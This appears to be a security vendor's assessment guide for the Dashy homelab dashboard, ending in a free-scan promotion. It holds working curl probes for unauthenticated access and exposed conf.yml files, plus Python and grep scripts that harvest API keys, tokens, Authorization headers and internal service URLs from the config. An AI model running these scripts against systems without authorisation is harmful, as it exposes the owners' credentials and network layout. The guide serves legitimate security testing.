Dashy is a widely deployed open-source customizable start page and homelab dashboard — by design it aggregates links and status information for all other services in an infrastructure. This makes it a uniquely high-value target: conf.yml routinely embeds API keys for Portainer, Grafana, Proxmox, Home Assistant, Nextcloud, and every other linked service; authentication is disabled by default so anyone can view all service URLs and configured tokens; the statusCheck feature reveals complete internal network topology; and widget configurations contain service account tokens. A single Dashy conf.yml may provide a complete inventory of an organization's self-hosted infrastructure. This guide covers systematic Dashy security assessment.
# Dashy — authentication status and configuration access testing
DASHY_URL="https://dashy.example.com"
# Check if authentication is enabled
# Dashy has no auth by default — dashboard is publicly accessible
curl -s -o /dev/null -w "%{http_code}" "${DASHY_URL}/" 2>/dev/null
# 200 = dashboard accessible without auth
# Attempt to access conf.yml directly (sometimes served statically)
curl -s "${DASHY_URL}/conf.yml" 2>/dev/null | head -50
curl -s "${DASHY_URL}/public/conf.yml" 2>/dev/null | head -50
# Access the Dashy API to get current configuration
curl -s "${DASHY_URL}/config" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Config sections:', list(d.keys()))
# May include: pageInfo, appConfig (with auth), sections (with items and API keys)
app_conf = d.get('appConfig',{})
print(f'Auth enabled: {bool(app_conf.get(\"auth\"))}')
auth = app_conf.get('auth',{})
print(f'Auth type: {auth.get(\"type\",\"none\")}')
" 2>/dev/null
# Check Dashy API endpoints
curl -s "${DASHY_URL}/api/users" 2>/dev/null | head -20
curl -s "${DASHY_URL}/api/config" 2>/dev/null | head -20
# Dashy conf.yml — API key and service secret extraction
# The conf.yml configuration file is the primary attack surface
# Parse conf.yml for embedded credentials and API keys
python3 << 'EOF'
import yaml
import re
# Read config (adjust path as needed)
try:
with open('/app/user-data/conf.yml', 'r') as f:
config = yaml.safe_load(f)
except:
config = {}
# Find all items with apiKey, token, or credential-like fields
def find_secrets(obj, path=""):
secrets = []
if isinstance(obj, dict):
for k, v in obj.items():
current_path = f"{path}.{k}" if path else k
# Keys that commonly hold secrets
if any(keyword in k.lower() for keyword in ['apikey','api_key','token','secret','password','key','credential']):
secrets.append(f"[{current_path}] = {str(v)[:80]}")
secrets.extend(find_secrets(v, current_path))
elif isinstance(obj, list):
for i, item in enumerate(obj):
secrets.extend(find_secrets(item, f"{path}[{i}]"))
return secrets
secrets = find_secrets(config)
print(f"Found {len(secrets)} potential credential fields:")
for s in secrets[:20]:
print(f" {s}")
EOF
# Look for specific service API keys commonly found in Dashy configs
grep -E "(apiKey|api_key|token|bearer|secret|password|auth)" \
/app/user-data/conf.yml 2>/dev/null | grep -v "^#" | head -30
# Extract statusCheck URLs (reveals internal network topology)
grep -E "statusCheck(Url)?:" /app/user-data/conf.yml 2>/dev/null | head -20
# Extract all service URLs and IPs
grep -E "url:|href:|link:" /app/user-data/conf.yml 2>/dev/null | \
grep -E "(http://192\.|http://10\.|http://172\.|https://)" | head -30
# Dashy — internal network topology enumeration via configuration analysis
# A complete Dashy conf.yml reveals the entire homelab/organization infrastructure
# Parse and enumerate all configured services
python3 << 'EOF'
import yaml
try:
with open('/app/user-data/conf.yml', 'r') as f:
config = yaml.safe_load(f)
except:
print("Config not accessible directly")
exit()
print("=== INFRASTRUCTURE MAP FROM DASHY ===")
print()
sections = config.get('sections', [])
for section in sections:
print(f"Section: {section.get('name', 'unnamed')}")
for item in section.get('items', []):
name = item.get('title', item.get('name', 'unnamed'))
url = item.get('url', '')
icon = item.get('icon', '')
tags = item.get('tags', [])
status_url = item.get('statusCheckUrl', item.get('statusCheck', ''))
print(f" Service: {name}")
if url:
print(f" URL: {url}")
if status_url:
print(f" Status: {status_url}")
# Check for embedded credentials in item config
item_cfg = item.get('statusCheckHeaders', {})
if item_cfg:
print(f" Headers: {item_cfg}") # May contain Authorization headers
# Check widget configuration
widget = item.get('widget', {})
if widget:
print(f" Widget type: {widget.get('type')}")
# Widget options often contain API keys
opts = widget.get('options', {})
for k, v in opts.items():
if any(word in k.lower() for word in ['key','token','secret','api','auth']):
print(f" Widget secret: {k}={str(v)[:50]}")
print()
EOF
| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated dashboard access and service URL enumeration | GET / with no authentication — Dashy has no auth by default; view all configured service URLs, internal IP addresses, and port numbers; complete infrastructure topology map | Critical |
| conf.yml embedded API key extraction | Read /app/user-data/conf.yml — YAML config often contains API keys for Portainer, Grafana, Home Assistant, Nextcloud, GitHub PAT, weather service keys, and every other integrated service widget | Critical |
| statusCheck URL internal network topology mapping | Parse statusCheckUrl fields — reveals all internal service IP addresses, hostnames, and ports including management interfaces not otherwise visible externally | High |
| Widget API token extraction | Parse widget.options fields for apiKey, token, key fields — weather API keys, stock API keys, GitHub tokens, status page API keys embedded in widget configuration | High |
| statusCheck Authorization header credential extraction | Parse statusCheckHeaders — may contain Authorization: Bearer or basic auth headers for service authentication; grants direct API access to all services with headers configured | High |
Ironimo tests Dashy deployments for unauthenticated dashboard access, conf.yml API key and credential extraction, statusCheck URL internal network topology mapping, widget API token enumeration (weather/GitHub/status), statusCheck Authorization header credential extraction, service URL enumeration mapping complete infrastructure, Docker volume conf.yml access, environment variable exposure, authentication bypass testing, and localStorage session token analysis.
Start free scan